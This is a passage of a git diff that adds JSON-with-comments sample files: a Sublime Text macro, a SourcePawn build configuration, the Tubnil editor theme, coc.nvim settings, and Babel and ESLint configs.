+}
diff --git a/samples/JSON with Comments/RunBuild.sublime-macro b/samples/JSON with Comments/RunBuild.sublime-macro
new file mode 100644
index 0000000000..574a045d84
--- /dev/null
+++ b/samples/JSON with Comments/RunBuild.sublime-macro	
@@ -0,0 +1,5 @@
+[
+	{
+		"command": "haxe_run_build"
+	}
+]
diff --git a/samples/JSON with Comments/SourcePawn.sublime-build b/samples/JSON with Comments/SourcePawn.sublime-build
new file mode 100644
index 0000000000..013a949d62
--- /dev/null
+++ b/samples/JSON with Comments/SourcePawn.sublime-build	
@@ -0,0 +1,19 @@
+{
+	// For default sourcemod scripting directory :
+	"cmd": ["<spcomp_path>", "-o$file_path/../plugins/$file_name", "$file"],
+
+	// For custom sourcemod  scripting directory :
+	"cmd": ["<spcomp_path>", "-i<include_path>", "-o$file_path/$file_base_name.smx", "$file"],
+
+	// Windows example:
+	"cmd": ["X:/somefolder/spcomp", "-iX:/somefolder", "-o$file_path/$file_base_name.smx", "$file"],
+	"cmd": ["X:/game/csgo/addons/sourcemod/scripting/spcomp", "-o$file_path/../plugins/$file_name", "$file"],
+
+	// Linux or OSX example:
+	"cmd": ["/home/User/sm/spcomp", "-i/home/User/sm/include", "-o$file_path/$file_base_name.smx", "$file"],
+	"cmd": ["/home/User/game/csgo/addons/sourcemod/scripting/spcomp", "-o$file_path/../plugins/$file_name", "$file"],
+
+
+	"file_regex": "(.*)\\((\\d+)\\) :",
+	"selector": "source.sp"
+}
diff --git a/samples/JSON with Comments/Tubnil.sublime-theme b/samples/JSON with Comments/Tubnil.sublime-theme
new file mode 100644
index 0000000000..cb494beb91
--- /dev/null
+++ b/samples/JSON with Comments/Tubnil.sublime-theme	
@@ -0,0 +1,861 @@
+[
+	//	Tubnil theme for Sublime Text 2
+	//	https://github.com/nilium/st2-nil-theme
+	//
+	//	TABS
+	//	==========================================================
+	//	- Tabset
+	//	------------------------------------------------------
+	{
+		"class": "tabset_control",
+		"layer0.texture": "SourcePawn/assets/tabset-bg.png",
+		"layer0.inner_margin": [2, 6],
+		"layer0.opacity": 1.0,
+		"content_margin": [-13, 0, -13,-6], // left, top, right, bottom
+		"tab_overlap": 25,
+		"tab_width": 150,
+		"tab_min_width": 50,
+		"tab_height": 35,
+		"mouse_wheel_switch": false
+	},
+	{
+		"class": "tabset_control",
+		"settings": ["mouse_wheel_switches_tabs"],
+		"mouse_wheel_switch": true
+	},
+
+	//	- Tab element
+	//	------------------------------------------------------
+	{
+		"class": "tab_control",
+		"content_margin": [25, 0, 25, 0],
+		"max_margin_trim": 0,
+		"hit_test_level": 0.5,
+
+		//	- Inactive tab settings
+		"layer0.texture": "SourcePawn/assets/tab-inactive.png",
+		"layer0.inner_margin": [23, 8],
+		"layer0.opacity": 1.0,
+
+		//	- Active tab setting
+		"layer1.texture": "SourcePawn/assets/tab-active.png",
+		"layer1.inner_margin": [23, 8],
+		"layer1.opacity": 0.0,
+
+		//	- Hover tab setting
+		"layer2.texture": "SourcePawn/assets/tab-hover.png",
+		"layer2.inner_margin": [23, 8],
+		"layer2.opacity": 0.0
+	},
+	{
+		//	- Tab close state
+		"class": "tab_control",
+		"settings": ["show_tab_close_buttons"],
+		"content_margin": [20, 0, 20, 7]
+	},
+	{
+		//	- Hover tab state
+		"class": "tab_control",
+		"attributes": ["hover"],
+		"layer2.opacity": 1.0
+	},
+	{
+		//	- Active tab state
+		"class": "tab_control",
+		"attributes": ["selected"],
+		"layer0.opacity": 0.0,
+		"layer1.opacity": 1.0,
+		"layer2.opacity": 0.0
+	},
+	{
+		//  - Modified tab state
+		"class": "tab_control",
+		//"settings": ["highlight_modified_tabs"],
+		"attributes": ["dirty"],
+		"layer0.texture": "SourcePawn/assets/tab-inactive-modified.png",
+		"layer1.texture": "SourcePawn/assets/tab-active-modified.png",
+		"layer2.texture": "SourcePawn/assets/tab-hover-dirty.png"
+	},
+
+	//	- Tab labels
+	//	------------------------------------------------------
+
+	//	- Inactive tab label
+	{
+		"class": "tab_label",
+		"fg": [180, 180, 180],
+		"shadow_color": [0, 0, 0, 200],
+		"shadow_offset": [0, 1]
+	},
+
+	//	- Active tab label
+	{
+		"class": "tab_label",
+		"parents": [{"class": "tab_control", "attributes": ["selected"]}],
+		"shadow_color": [0, 0, 0, 165],
+		"shadow_offset": [0, 1],
+		"fg": [240, 240, 240, 255]
+	},
+
+	//	- Hover tab label
+	{
+		"class": "tab_label",
+		"parents": [{"class": "tab_control", "attributes": ["hover"]}],
+		"shadow_color": [0, 0, 0, 165],
+		"shadow_offset": [0, 1],
+		"fg": [2, 196, 251, 255]
+	},
+
+	//	- Dirty Hover tab label
+	{
+		"class": "tab_label",
+		"parents": [{"class": "tab_control", "attributes": ["hover", "dirty"]}],
+		"shadow_color": [0, 0, 0, 165],
+		"shadow_offset": [0, 1],
+		"fg": [253, 113, 1, 255]
+	},
+
+	// - Dirty inactive tab label
+	{
+		"class": "tab_label",
+		"parents": [{"class": "tab_control", "attributes": ["dirty"]}],
+		"settings": ["highlight_modified_tabs"]
+	},
+
+	// - Dirty active tab label
+	{
+		"class": "tab_label",
+		"parents": [{"class": "tab_control", "attributes": ["selected", "dirty"]}],
+		"settings": ["highlight_modified_tabs"]
+	},
+
+	//	- Tab buttons
+	//	------------------------------------------------------
+
+	//	- Tab button
+	{
+		"class": "tab_close_button",
+		"content_margin": [0, 0],
+
+		//	- Tab close default settings
+		"layer1.texture": "SourcePawn/assets/tab-button-close.png",
+		"layer1.opacity": 0.0, // hide by default
+		"layer1.inner_margin": 0.0,
+
+		//	- Tab close hover settings
+		"layer0.texture": "SourcePawn/assets/tab-button-close-hover.png",
+		"layer0.opacity": 0.0
+	},
+	{
+		//	- Tab button size
+		"class": "tab_close_button",
+		"settings": ["show_tab_close_buttons"],
+		"content_margin": [8, 8]
+	},
+	{
+		"class": "tab_close_button",
+		"parents": [{"class": "tab_control", "attributes": ["dirty"]}],
+		"layer1.texture": "SourcePawn/assets/tab-button-close-dirty.png"
+	},
+	{
+		//	- Tab close hover action
+		"class": "tab_close_button",
+		"parents": [{"class": "tab_control", "attributes": ["hover"]}],
+		"layer1.opacity": 0.0,
+		"layer0.opacity": 1.0
+	},
+	{
+		//	- Tab close press action
+		"class": "tab_close_button",
+		"attributes": ["hover"],
+		"layer1.opacity": 0.4,
+		"layer0.opacity": 1.0
+	},
+	{
+		//	- Tab close press action
+		"class": "tab_close_button",
+		"attributes": ["pressed"],
+		"layer1.opacity": 1.0,
+		"layer0.opacity": 0.0
+	},
+
+//	FOLD BUTTONS
+//	==========================================================
+
+	{
+		"class": "fold_button_control",
+		"layer0.texture": "SourcePawn/assets/arrow-right.png",
+		"layer0.opacity": 1.0,
+		"layer0.inner_margin": 0,
+		"layer1.texture": "SourcePawn/assets/arrow-right-hover.png",
+		"layer1.opacity": 0.0,
+		"layer1.inner_margin": 0,
+		"content_margin": [9, 7, 8, 6]
+	},
+	{
+		"class": "fold_button_control",
+		"attributes": ["hover"],
+		"layer0.opacity": 0.0,
+		"layer1.opacity": 0.75
+	},
+	{
+		"class": "fold_button_control",
+		"attributes": ["pressed"],
+		"layer0.opacity": 0.0,
+		"layer1.opacity": 1.0
+	},
+	{
+		"class": "fold_button_control",
+		"attributes": ["expanded"],
+		"layer0.texture": "SourcePawn/assets/arrow-down.png",
+		"layer1.texture": "SourcePawn/assets/arrow-down-hover.png"
+	},
+
+//	SCROLLBARS (overlay scrollbars from Default theme)
+//	==========================================================
+	{
+		"class": "scroll_bar_control",
+		"layer0.texture": "SourcePawn/assets/scrollbar/well-vertical.png",
+		"layer0.opacity": 1.0,
+		"layer0.inner_margin": [1, 1],
+		"blur": false
+	},
+	{
+		"class": "scroll_bar_control",
+		"attributes": ["horizontal"],
+		"layer0.texture": "SourcePawn/assets/scrollbar/well-horizontal.png",
+		"layer0.opacity": 1.0,
+		"layer0.inner_margin": [1, 1],
+		"blur": false
+	},
+	{
+		"class": "scroll_corner_control",
+		"layer0.texture": "SourcePawn/assets/scrollbar/well-corner.png",
+		"layer0.opacity": 1.0,
+		"layer0.inner_margin": [1, 1]
+	},
+	{
+		"class": "puck_control",
+		"layer0.texture": "SourcePawn/assets/scrollbar/bar-vertical.png",
+		"layer0.opacity": 1.0,
+		"layer0.inner_margin": [3, 3],
+		"content_margin": [6, 6],
+		"blur": false
+	},
+	{
+		"class": "puck_control",
+		"attributes": ["horizontal"],
+		"layer0.texture": "SourcePawn/assets/scrollbar/bar-horizontal.png"
+	},
+	{
+		"class": "scroll_area_control",
+		"settings": ["overlay_scroll_bars"],
+		"overlay": true
+	},
+	{
+		"class": "scroll_area_control",
+		"settings": ["!overlay_scroll_bars"],
+		"overlay": false
+	},
+	{
+		"class": "scroll_bar_control",
+		"settings": ["overlay_scroll_bars"],
+		"layer0.texture": "SourcePawn/assets/overlay/overlay_bar_vertical.png",
+		"layer0.inner_margin": [0, 5],
+		"blur": true
+	},
+	{
+		"class": "scroll_bar_control",
+		"settings": ["overlay_scroll_bars"],
+		"attributes": ["horizontal"],
+		"layer0.texture": "SourcePawn/assets/overlay/overlay_bar_horizontal.png",
+		"layer0.inner_margin": [5, 0],
+		"blur": true
+	},
+	{
+		"class": "puck_control",
+		"settings": ["overlay_scroll_bars"],
+		"layer0.texture": "SourcePawn/assets/overlay/overlay_thumb_vertical.png",
+		"layer0.inner_margin": [0, 5],
+		"content_margin": [5, 20],
+		"blur": true
+	},
+	{
+		"class": "puck_control",
+		"settings": ["overlay_scroll_bars"],
+		"attributes": ["horizontal"],
+		"layer0.texture": "SourcePawn/assets/overlay/overlay_thumb_horizontal.png",
+		"layer0.inner_margin": [5, 0],
+		"content_margin": [20, 5],
+		"blur": true
+	},
+	{
+		"class": "puck_control",
+		"settings": ["overlay_scroll_bars"],
+		"attributes": ["dark"],
+		"layer0.texture": "SourcePawn/assets/overlay/overlay_dark_thumb_vertical.png"
+	},
+	{
+		"class": "puck_control",
+		"settings": ["overlay_scroll_bars"],
+		"attributes": ["horizontal", "dark"],
+		"layer0.texture": "SourcePawn/assets/overlay/overlay_dark_thumb_horizontal.png"
+	},
+
+//	EMPTY WINDOW BACKGROUND
+//	==========================================================
+	{
+		"class": "sheet_container_control",
+		"layer0.tint": [16, 16, 16],
+		"layer0.opacity": 1.0
+	},
+
+//	GRID LAYOUT
+//	==========================================================
+	{
+		"class": "grid_layout_control",
+		"border_size": 1,
+		"border_color": [32, 32, 32]
+	},
+
+//	MINI MAP
+//	==========================================================
+	{
+		"class": "minimap_control",
+		"viewport_color": [185, 185, 185, 50]
+	},
+
+//	LABELS
+//	==========================================================
+	// 	- General labels
+	{
+		"class": "label_control",
+		"color": [230, 230, 230]
+	},
+	//	- Text field labels
+	{
+		"class": "label_control",
+		"parents": [{"class": "panel_control"}],
+		"shadow_color": [0, 0, 0],
+		"shadow_offset": [0, 1]
+	},
+	//	- Button labels
+	{
+		"class": "label_control",
+		"parents": [{"class": "button_control"}],
+		"color": [230, 230, 230],
+		"shadow_color": [0, 0, 0],
+		"shadow_offset": [0, 1]
+	},
+
+//	TOOLTIP
+//	==========================================================
+	//	- Tooltip container
+	{
+		"class": "tool_tip_control",
+		"layer0.texture": "SourcePawn/assets/tooltip.png",
+		"layer0.inner_margin": [4, 4],
+		"layer0.opacity": 1,
+		"content_margin": [6, 4]
+	},
+	//	- Tooltip content
+	{
+		"class": "tool_tip_label_control",
+		"color": [160, 160, 160],
+		"shadow_offset": [0, 1],
+		"shadow_color": [0, 0, 0, 255]
+	},
+
+//	STATUS BAR
+//	==========================================================
+	//	- Status bar container
+	{
+		"class": "status_bar",
+		"layer0.texture": "SourcePawn/assets/status-bar-bg.png",
+		"layer0.opacity": 1,
+		"layer0.inner_margin": [2, 2],
+		"content_margin": [6, 5, 6, 5]
+	},
+	{
+		"class": "status_button",
+		"min_size": [100, 0]
+	},
+
+	//	- Status bar label
+	{
+		"class": "label_control",
+		"parents": [{"class": "status_bar"}],
+		"font.size": 10,
+		"color": [160, 160, 160],
+		"shadow_color": [0, 0, 0],
+		"shadow_offset": [0, 1]
+	},
+
+//	SIDEBAR
+//	==========================================================
+	//	- Sidebar container (border)
+	{
+		"class": "sidebar_container",
+		"layer0.tint": [150, 150, 150],
+		"layer0.opacity": 0.5,
+		"layer0.draw_center": false,
+		"layer0.inner_margin": [0, 0, 1, 0],
+		"content_margin": [0, 0, 1, 0]
+	},
+	//	- Sidebar tree (bg)
+	{
+		"class": "sidebar_tree",
+		"row_padding": [8, 3],
+		"indent": 15,
+		"indent_offset": 13,
+		"indent_top_level": false,
+		"layer0.tint": [19, 20, 21],	// darker gray
+		"layer0.opacity": 1.0,
+		"dark_content": true
+	},
+	//	- Sidebar rows
+	{
+		"class": "tree_row",
+		"layer0.texture": "SourcePawn/assets/row-active.png",
+		"layer0.opacity": 0.0,
+		"layer0.inner_margin": [8, 3],
+		"layer1.opacity": 0.0,
+		"layer1.inner_margin": [8, 3]
+	},
+	//	- Sidebar row selected
+	{
+		"class": "tree_row",
+		"attributes": ["selected"],
+		"layer0.opacity": 1.0
+	},
+	// - Sidebar row dirty
+	{
+		"class": "tree_row",
+		"attributes": ["dirty"],
+		"layer0.texture": "SourcePawn/assets/row-inactive-modified.png",
+		"layer0.opacity": 1.0
+	},
+	// - Sidebar row selected dirty
+	{
+		"class": "tree_row",
+		"attributes": ["selected", "dirty"],
+		"layer0.texture": "SourcePawn/assets/row-active-modified.png",
+		"layer0.opacity": 1.0
+	},
+	//	- Sidebar heading
+	{
+		"class": "sidebar_heading",
+		"color": [2, 196, 251],
+		"font.bold": true,
+		"shadow_color": [0, 0, 0],
+		"shadow_offset": [0, 1]
+	},
+	{
+		"class": "sidebar_heading",
+		"parents": [{"class": "tree_row", "attributes": ["selected"]}],
+		"color": [180, 180, 180]
+	},
+	//	- Sidebar entry label
+	{
+		"class": "sidebar_label",
+		"color": [200, 200, 200],
+		"shadow_color": [0, 0, 0],
+		"shadow_offset": [0, 1]
+	},
+	{
+		"class": "sidebar_label",
+		"parents": [{"class": "tree_row", "attributes": ["expandable"]}],
+		"settings": ["bold_folder_labels"],
+		"font.bold": true
+	},
+	{	//	Sidebar selected entry label
+		"class": "sidebar_label",
+		"parents": [{"class": "tree_row", "attributes": ["selected"]}],
+		"color": [240, 240, 240],
+		"shadow_color": [0, 0, 0],
+		"shadow_offset": [0, 1]
+	},
+	{	//	Sidebar Hover entry label
+		"class": "sidebar_label",
+		"parents": [{"class": "tree_row", "attributes": ["hover"]}],
+		"color": [2, 196, 251],
+		"shadow_color": [0, 0, 0],
+		"shadow_offset": [0, 1]
+	},
+	{	//	Sidebar Hover entry label
+		"class": "sidebar_label",
+		"parents": [{"class": "tree_row", "attributes": ["dirty"]}],
+		"color": [253, 113, 1],
+		"shadow_color": [0, 0, 0],
+		"shadow_offset": [0, 1]
+	},
+
+	//	- Sidebar open files close/dirty
+	{
+		"class": "close_button",
+		"layer0.texture": "SourcePawn/assets/tab-button-close-hover.png",
+		"layer0.opacity": 0.5,
+		"layer0.inner_margin": 4,
+		"layer1.opacity": 0.0,
+		"layer1.texture":  "SourcePawn/assets/tab-button-close.png",
+		"layer1.inner_margin": 4,
+		"content_margin": [8, 8]
+	},
+	{
+		"class": "close_button",
+		"attributes": ["dirty"],
+		"layer0.texture": "SourcePawn/assets/tab-button-dirty.png",
+		"layer0.opacity": 0.5
+	},
+	{
+		"class": "close_button",
+		"attributes": ["hover"],
+		"layer0.texture": "SourcePawn/assets/tab-button-close-hover.png",
+		"layer1.opacity": 0.5,
+		"layer1.texture": "SourcePawn/assets/tab-button-close.png"
+	},
+	{
+		"class": "close_button",
+		"attributes": ["hover", "dirty"],
+		"layer1.opacity": 0.5,
+		"layer1.texture": "SourcePawn/assets/tab-button-close-dirty.png"
+	},
+	{
+		"class": "close_button",
+		"attributes": ["pressed"],
+		"layer1.opacity": 1.0,
+		"layer1.texture": "SourcePawn/assets/tab-button-close.png"
+	},
+	{
+		"class": "close_button",
+		"attributes": ["pressed", "dirty"],
+		"layer1.opacity": 1.0,
+		"layer1.texture": "SourcePawn/assets/tab-button-close-dirty.png"
+	},
+
+	//	- Sidebar FOLDERS closed
+	{
+		"class": "disclosure_button_control",
+		"content_margin": [9, 7, 8, 6],
+		"layer0.texture": "SourcePawn/assets/folder/group-closed.png",
+		"layer0.opacity": 1.0,
+		"layer0.inner_margin": 0
+	},
+	{
+		"class": "disclosure_button_control",
+		"parents": [{"class": "tree_row", "attributes": ["hover"]}],
+		"layer0.texture": "SourcePawn/assets/folder/group-closed-hover.png"
+	},
+	{
+		"class": "disclosure_button_control",
+		"parents": [{"class": "tree_row", "attributes": ["selected"]}],
+		"layer0.texture": "SourcePawn/assets/folder/group-closed-selected.png"
+	},
+	//	- Sidebar Folders open
+	{
+		"class": "disclosure_button_control",
+		"attributes": ["expanded"],
+		"layer0.texture": "SourcePawn/assets/folder/group-open.png"
+	},
+	{
+		"class": "disclosure_button_control",
+		"attributes": ["expanded"],
+		"parents": [{"class": "tree_row", "attributes": ["hover"]}],
+		"layer0.texture": "SourcePawn/assets/folder/group-open-hover.png"
+	},
+	{
+		"class": "disclosure_button_control",
+		"attributes": ["expanded"],
+		"parents": [{"class": "tree_row", "attributes": ["selected"]}],
+		"layer0.texture": "SourcePawn/assets/folder/group-open-selected.png"
+	},
+
+//	STANDARD TEXT BUTTONS
+//	=========================================================
+	//	- Standard buttons (used for Find / Replace panel)
+	{
+		"class": "button_control",
+		"content_margin": [6, 5, 6, 6],
+		"min_size": [75, 0],
+
+		//	Default button state
+		"layer0.texture": "SourcePawn/assets/btn-large.png",
+		"layer0.opacity": 1.0,
+		"layer0.inner_margin": [6, 6],
+
+		//	Pressed button setup
+		"layer1.texture": "SourcePawn/assets/btn-large-active.png",
+		"layer1.opacity": 0.0,
+		"layer1.inner_margin": [6, 6]
+	},
+	{
+		//	Pressed button state
+		"class": "button_control",
+		"attributes": ["pressed"],
+		"layer1.opacity": 1.0,
+		"content_margin": [6, 6, 6, 6]
+	},
+
+//	TEXT INPUT FIELD
+//	=========================================================
+
+	//	- Text input field item
+	{
+		"class": "text_line_control",
+		"layer0.texture": "SourcePawn/assets/text-field.png",
+		"layer0.opacity": 1.0,
+		"layer0.inner_margin": [10, 10, 10, 10],
+		"content_margin": [5, 5, 5, 5]
+	},
+
+//	PANEL BACKGROUNDS
+//	=========================================================
+	//	- Bottom panel background
+	{
+		"class": "panel_control",
+		"layer0.texture": "SourcePawn/assets/panel-bg.png",
+		"layer0.inner_margin": [4, 4, 4, 4],
+		"layer0.opacity": 1.0
+	},
+
+	//	- Quick panel background
+	{
+		"class": "overlay_control",
+		"layer0.texture": "SourcePawn/assets/overlay-bg.png",
+		"layer0.inner_margin": [10, 5, 10, 20],  // left, top, right, bottom
+		"layer0.opacity": 1.0,
+		"layer1.opacity": 0, // HIDDEN
+		"content_margin": [11, 8, 11, 17]
+	},
+
+//	QUICK PANEL
+//	=========================================================
+	{
+		"class": "quick_panel",
+		"row_padding": [4, 3],
+		"layer0.tint": [45, 45, 45],
+		"layer0.opacity": 1,
+		"dark_content": true
+	},
+	{
+		"class": "quick_panel_row",
+		"layer0.texture": "SourcePawn/assets/qp-row.png",
+		"layer0.opacity": 1.0,
+		"layer0.inner_margin": [4, 4, 4, 4],
+		"layer1.draw_center": true
+	},
+	{
+		"class": "quick_panel_row",
+		"attributes": ["selected"],
+		"layer0.texture": "SourcePawn/assets/qp-row-selected.png"
+	},
+	{
+		"class": "quick_panel_label",
+		"fg": [190, 190, 190, 255],
+		"match_fg": [166, 229, 255, 255],
+		"bg": [71, 71, 71, 255],
+		"selected_fg": [220, 220, 220, 255],
+		"selected_match_fg": [2, 196, 251, 255],
+		"selected_bg": [134, 134, 134, 255]
+	},
+	{
+		"class": "quick_panel_path_label",
+		"fg": [100, 100, 100, 255],
+		"match_fg": [166, 229, 255, 255],
+		"bg": [41, 41, 41, 255],
+		"selected_fg": [120, 120, 120, 255],
+		"selected_match_fg": [2, 196, 251, 255],
+		"selected_bg": [24, 24, 24, 255]
+	},
+	{
+		"class": "quick_panel_score_label",
+		"fg": [90, 90, 90, 255],
+		"bg": [41, 41, 41, 255],
+		"selected_fg": [114, 114, 114, 255],
+		"selected_bg": [24, 24, 24, 255]
+	},
+
+//	MINI QUICK PANEL
+//	=========================================================
+	{
+		"class": "mini_quick_panel_row",
+		"layer0.texture": "SourcePawn/assets/qp-row.png",
+		"layer0.inner_margin": [4, 4, 4, 4],
+		"layer0.opacity": 1.0
+	},
+	{
+		"class": "mini_quick_panel_row",
+		"attributes": ["selected"],
+		"layer0.texture": "SourcePawn/assets/qp-row-selected.png"
+	},
+
+//	CODE COMPLETION DROPDOWN
+//	=========================================================
+	{
+		"class": "popup_control",
+		"content_margin": [0, 0]
+	},
+	{
+		"class": "auto_complete",
+		"row_padding": [2, 2],
+		"layer0.tint": [30, 30, 30],
+		"layer0.opacity": 1.0,
+		"dark_content": true
+	},
+	{
+		"class": "auto_complete_label",
+		"fg": [140, 140, 140],
+		"match_fg": [255, 255, 255],
+		"bg": [26, 26, 26],
+		"selected_fg": [255, 255, 255],
+		"selected_match_fg": [255, 255, 255],
+		"selected_bg": [86, 86, 86]
+	},
+	{
+		"class": "table_row",
+		"layer0.tint": [45, 45, 45],
+		"layer0.opacity": 0.0,
+		"layer0.inner_margin": [1, 1]
+	},
+	{
+		"class": "table_row",
+		"attributes": ["selected"],
+		"layer0.opacity": 1.0
+	},
+
+//	BOTTOM PANEL BUTTONS
+//	==========================================================
+	{
+		"class": "icon_button_control",
+		"content_margin": [4, 4]
+	},
+	{
+		"class": "icon_button_control",
+		"attributes": ["pressed"]
+	},
+	//	- Regex search button
+	{
+		"class": "icon_regex",
+		"layer0.texture": "SourcePawn/assets/icons/regex-off.png",
+		"layer0.opacity": 1.0,
+		"content_margin": [9, 10]
+	},
+	{
+		"class": "icon_regex",
+		"parents": [{"class": "icon_button_control", "attributes": ["selected"]}],
+		"layer0.texture": "SourcePawn/assets/icons/regex-on.png"
+	},
+	//	- Case sensitive search button
+	{
+		"class": "icon_case",
+		"layer0.texture": "SourcePawn/assets/icons/case-off.png",
+		"layer0.opacity": 1.0,
+		"content_margin": [9, 10]
+	},
+	{
+		"class": "icon_case",
+		"parents": [{"class": "icon_button_control", "attributes": ["selected"]}],
+		"layer0.texture": "SourcePawn/assets/icons/case-on.png"
+	},
+	//	- Match whole word search button
+	{
+		"class": "icon_whole_word",
+		"layer0.texture": "SourcePawn/assets/icons/whole-word-off.png",
+		"layer0.opacity": 1.0,
+		"content_margin": [9, 10]
+	},
+	{
+		"class": "icon_whole_word",
+		"parents": [{"class": "icon_button_control", "attributes": ["selected"]}],
+		"layer0.texture": "SourcePawn/assets/icons/whole-word-on.png"
+	},
+	//	- Reverse search direction button
+	{
+		"class": "icon_reverse",
+		"layer0.texture": "SourcePawn/assets/icons/reverse-off.png",
+		"layer0.opacity": 1.0,
+		"content_margin": [9, 10]
+	},
+	{
+		"class": "icon_reverse",
+		"parents": [{"class": "icon_button_control", "attributes": ["selected"]}],
+		"layer0.texture": "SourcePawn/assets/icons/reverse-on.png"
+	},
+	//	- Search wrap button
+	{
+		"class": "icon_wrap",
+		"layer0.texture": "SourcePawn/assets/icons/wrap-off.png",
+		"layer0.opacity": 1.0,
+		"content_margin": [9, 10]
+	},
+	{
+		"class": "icon_wrap",
+		"parents": [{"class": "icon_button_control", "attributes": ["selected"]}],
+		"layer0.texture": "SourcePawn/assets/icons/wrap-on.png"
+	},
+	//	- Search in selection button
+	{
+		"class": "icon_in_selection",
+		"layer0.texture": "SourcePawn/assets/icons/selection-off.png",
+		"layer0.opacity": 1.0,
+		"content_margin": [9, 10]
+	},
+	{
+		"class": "icon_in_selection",
+		"parents": [{"class": "icon_button_control", "attributes": ["selected"]}],
+		"layer0.texture": "SourcePawn/assets/icons/selection-on.png"
+	},
+	//	- Preserve case button
+	{
+		"class": "icon_preserve_case",
+		"layer0.texture": "SourcePawn/assets/icons/preserve-case-off.png",
+		"layer0.opacity": 1.0,
+		"content_margin": [9, 10]
+	},
+	{
+		"class": "icon_preserve_case",
+		"parents": [{"class": "icon_button_control", "attributes": ["selected"]}],
+		"layer0.texture": "SourcePawn/assets/icons/preserve-case-on.png"
+	},
+	//	- Highlight results button
+	{
+		"class": "icon_highlight",
+		"layer0.texture": "SourcePawn/assets/icons/highlight-off.png",
+		"layer0.opacity": 1.0,
+		"content_margin": [9, 10]
+	},
+	{
+		"class": "icon_highlight",
+		"parents": [{"class": "icon_button_control", "attributes": ["selected"]}],
+		"layer0.texture": "SourcePawn/assets/icons/highlight-on.png"
+	},
+
+	// 	BOTTOM PANEL ICONS (EXTENDED: FIND IN FILES)
+	//	=========================================================
+
+	//	- Show search context button
+	{
+		"class": "icon_context",
+		"layer0.texture": "SourcePawn/assets/icons/context-off.png",
+		"layer0.opacity": 1.0,
+		"content_margin": [9, 10]
+	},
+	{
+		"class": "icon_context",
+		"parents": [{"class": "icon_button_control", "attributes": ["selected"]}],
+		"layer0.texture": "SourcePawn/assets/icons/context-on.png"
+	},
+	//	- Use search buffer
+	{
+		"class": "icon_use_buffer",
+		"layer0.texture": "SourcePawn/assets/icons/buffer-off.png",
+		"layer0.opacity": 1.0,
+		"content_margin": [9, 10]
+	},
+	{
+		"class": "icon_use_buffer",
+		"parents": [{"class": "icon_button_control", "attributes": ["selected"]}],
+		"layer0.texture": "SourcePawn/assets/icons/buffer-on.png"
+	}
+
+]
diff --git a/samples/JSON with Comments/coc.jsonc b/samples/JSON with Comments/coc.jsonc
new file mode 100644
index 0000000000..14db2adb8d
--- /dev/null
+++ b/samples/JSON with Comments/coc.jsonc	
@@ -0,0 +1,104 @@
+// configuration file for `coc.nvim` - https://github.com/neoclide/coc.nvim
+//
+// defaults - https://github.com/neoclide/coc.nvim/blob/master/data/schema.json
+//
+// this file must be symlinked to `$HOME/.config/nvim/coc-settings.json`
+// this symlinking should occur through the install script
+//
+// can also be done manually:
+// `ln -s $DOTFILES/neovim/coc.jsonc $HOME/.config/nvim/coc-settings.json`
+//
+// Note: install script symlinking works by symlinking the existing symlink in
+// `$DOTFILES/config/nvim`
+{
+  "coc.preferences.formatOnSaveFiletypes": [
+    "css",
+    "graphql",
+    "javascript",
+    "javascriptreact",
+    "json",
+    "jsonc",
+    "markdown",
+    "python",
+    "rust",
+    "sh",
+    "typescript",
+    "typescriptreact"
+  ],
+
+  "coc.preferences.rootPatterns": [
+    ".git",
+    ".projectroot",
+    ".vim",
+    "tsconfig.json"
+  ],
+
+  // how to disable LS suggestions in comments like possible for other sources?
+  // ref - https://github.com/neoclide/coc.nvim/wiki/Completion-with-sources
+  "coc.source.file.ignoreHidden": false,
+
+  // virtual text listing references & implementations
+  "codeLens.enable": true,
+  "codeLens.separator": "  ‣ ",
+
+  "diagnostic.errorSign": "◉",
+  "diagnostic.hintSign": "◉",
+  "diagnostic.infoSign": "◉",
+  "diagnostic.virtualText": true,
+  "diagnostic.virtualTextPrefix": " ~  ",
+  "diagnostic.warningSign": "◉",
+
+  "list.indicator": "λ",
+  "list.nextKeymap": "<C-k>",
+  "list.previousKeymap": "<C-l>",
+
+  "suggest.enablePreview": true,
+
+  // <<<<<<<< extension/language server specific settings >>>>>>>>
+
+  // <<<<<<< coc-diagnostic (linting & formatting) >>>>>>>
+  // extension - https://github.com/iamcco/coc-diagnostic
+  // language server - https://github.com/iamcco/diagnostic-languageserver
+  "diagnostic-languageserver.filetypes": {
+    "sh": "shellcheck"
+  },
+  "diagnostic-languageserver.formatters": {
+    "shfmt": {
+      "command": "shfmt",
+      // note: `-i 2` is a single arg but must be separated to work here
+      "args": ["-i", "2", "-bn", "-ci", "-sr"]
+    }
+  },
+  "diagnostic-languageserver.formatFiletypes": {
+    "sh": "shfmt"
+  },
+
+  // <<<< eslint >>>>
+  "eslint.filetypes": [
+    "javascript",
+    "javascriptreact",
+    "typescript",
+    "typescriptreact"
+  ],
+
+  // <<<< python >>>>
+  // ref - https://github.com/neoclide/coc-python#options
+
+  // enables Microsoft PLS
+  // ref - https://github.com/neoclide/coc-python#optional-steps
+  "python.formatting.provider": "black",
+  "python.jediEnabled": false,
+  "python.linting.mypyEnabled": true,
+  "python.linting.pylintEnabled": false,
+
+  // <<<< rust >>>>
+  // ref - https://github.com/fannheyward/coc-rust-analyzer#configurations
+  "rust-analyzer.enableCargoWatchOnStartup": "enabled",
+  "rust-analyzer.featureFlags": {
+    "notifications.workspace-loaded": false
+  },
+
+  // <<<< tsserver >>>>
+  // ref - https://github.com/neoclide/coc-tsserver#configuration-options
+  "tsserver.enableJavascript": false
+}
diff --git a/samples/JSON with Comments/filenames/.babelrc b/samples/JSON with Comments/filenames/.babelrc
new file mode 100644
index 0000000000..432c768423
--- /dev/null
+++ b/samples/JSON with Comments/filenames/.babelrc	
@@ -0,0 +1,6 @@
+{
+  "presets": [
+    "es2015",
+    "es2016"
+  ]
+}
diff --git a/samples/JSON with Comments/filenames/.eslintrc.json b/samples/JSON with Comments/filenames/.eslintrc.json
new file mode 100644
index 0000000000..e7b41097af
--- /dev/null
+++ b/samples/JSON with Comments/filenames/.eslintrc.json	
@@ -0,0 +1,54 @@
+{
+	// Tabs > spaces
+	"extends": "eslint:recommended",
+	"env": {
+		"browser": true,
+		"es6": true,
+		"mocha": true,
+		"node": true
+	},
+	"parserOptions": {
+		"ecmaVersion": 2017,
+		"sourceType": "module"
+	},
+	"rules": {
+		"indent": [
+			"error",
+			"tab",
+			{
+				"ignoreComments": true,
+				"SwitchCase": 1
+			}
+		],
+		"linebreak-style": [
+			"error",
+			"unix"
+		],
+		"no-fallthrough": [
+			"error",
+			{"commentPattern": "[Ff]alls?[-\\s]?through"}
+		],
